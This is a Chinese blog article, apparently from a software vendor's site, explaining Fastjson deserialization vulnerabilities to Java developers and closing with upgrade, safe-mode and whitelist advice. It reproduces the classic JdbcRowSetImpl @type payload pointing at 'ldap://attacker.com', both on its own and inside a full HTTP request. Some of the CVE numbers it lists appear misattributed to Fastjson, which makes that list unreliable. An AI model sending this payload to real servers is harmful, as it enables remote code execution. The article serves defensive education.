LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

给开发工程师讲的 Fastjson 漏洞原理

admin
2025年7月22日 16:59 本文热度 62

前几天一位安服朋友提到很多开发团队对 Fastjson 漏洞的理解还停留在 "知道有风险但不清楚为什么" 的层面。尤其是 Java 开发团队,因为 Fastjson 在国内项目中使用非常广泛,一旦出问题影响极大。今天就专门给开发工程师们讲讲 Fastjson 漏洞的来龙去脉。

先说说 Fastjson 是什么

Fastjson 是阿里巴巴开发的一款 Java JSON 解析库,常见于 Java Web 应用或移动服务端,很多项目都在 Maven 或 Gradle 中直接引用它。」

它的核心功能就是:

  • 将 Java 对象转换成 JSON 字符串(序列化)
  • 将 JSON 字符串转换成 Java 对象(反序列化)


Fastjson 漏洞的核心问题:反序列化风险

Fastjson 的主要漏洞集中在反序列化过程中,具体涉及 CVE-2017-18349、CVE-2020-2883、CVE-2021-21351 等多个漏洞编号,本质都是恶意构造的 JSON 字符串被解析时,触发了危险类的方法执行

先理解什么是反序列化

正常情况下,反序列化是个很有用的功能:

  1. 客户端发送 JSON 字符串:{"name":"张三","age":20}
  2. 服务器用 Fastjson 把它转成 Java 对象:User{name='张三', age=20}

但问题在于,Fastjson 为了方便用户使用,支持一种特殊语法:通过@type字段指定要反序列化的类。

比如:{"@type":"com.example.User","name":"张三","age":20}

这会明确告诉 Fastjson:" 请把我转成com.example.User类的对象 "。

漏洞原理:恶意类的利用

攻击者发现,如果在@type里指定系统中已存在的危险类,并构造特定参数,就能触发这些类的危险方法。

以最经典的利用为例:

  1. 攻击者构造恶意 JSON:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

2. Fastjson 解析时会:

    • 识别@type指定的JdbcRowSetImpl
    • 调用该类的setDataSourceName方法,传入恶意 LDAP 地址
    • 调用setAutoCommit方法时,会触发JdbcRowSetImpl内部的 JNDI lookup 操作
    • 服务器会向attacker.com发起 LDAP 请求,下载恶意类
    • 最终执行恶意代码

漏洞的关键原因

  1. @type字段的危险类没有限制
    :早期版本允许反序列化任意类
  2. 自动调用 setter 方法的机制
    :Fastjson 在反序列化时会自动调用对应属性的 setter 方法,可能触发危险操作
  3. 与 JNDI 的结合

    :当被反序列化的类(如JdbcRowSetImpl)包含 JNDI lookup 功能时,就会形成远程代码执行链

哪些情况有风险?

  1. 使用 Fastjson 解析不可信来源的 JSON 数据(如用户输入、网络请求)
  2. Fastjson 版本低于安全版本(不同漏洞对应的安全版本不同,如1.2.83修复了多个高危漏洞)
  3. 项目中存在可被利用的 "gadget 类"(即包含危险方法的类,如JdbcRowSetImplTemplatesImpl等)

简单的图示:

恶意JSON --> Fastjson解析 --> 识别@type --> 调用危险类 --> 加载远程类 --> 代码执行

举个实际攻击场景

  1. 构造恶意请求
    攻击者在 HTTP 请求体中放入恶意 JSON

POST/api/user HTTP/1.1Host:vulnerable.comContent-Type:application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}

2. 服务器处理流程

    • 后端接口接收 JSON 数据
    • 调用JSON.parseObject(requestBody)进行解析
    • Fastjson 触发反序列化流程,执行恶意代

3. 攻击结果:服务器从攻击者的 LDAP 服务器加载恶意类,执行后攻击者获得服务器控制权

给开发者的终极建议:

  1. 强制升级:Fastjson ≥ 1.2.83(修复了多数高危漏洞)。

  2. 开启安全模式

ParserConfig.getGlobalInstance().setSafeMode(true); // 彻底禁用 Autotype

3.白名单控制(若必须用 @type):

ParserConfig.getGlobalInstance().addAccept("com.trusted.package.");

4.永不解析不可信 JSON

用户输入需严格校验 + 过滤 @type 字段。

关键认知:Fastjson 漏洞本质是 Java 反序列化通病的体现(如 Apache Commons Collections、Jackson 也曾有类似问题)。安全取决于配置,而非库本身。

​开发者需建立深度防御思维。


记住:任何解析外部数据的功能都可能成为攻击入口,必须保持警惕。


该文章在 2025/7/23 11:53:58 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2025 ClickSun All Rights Reserved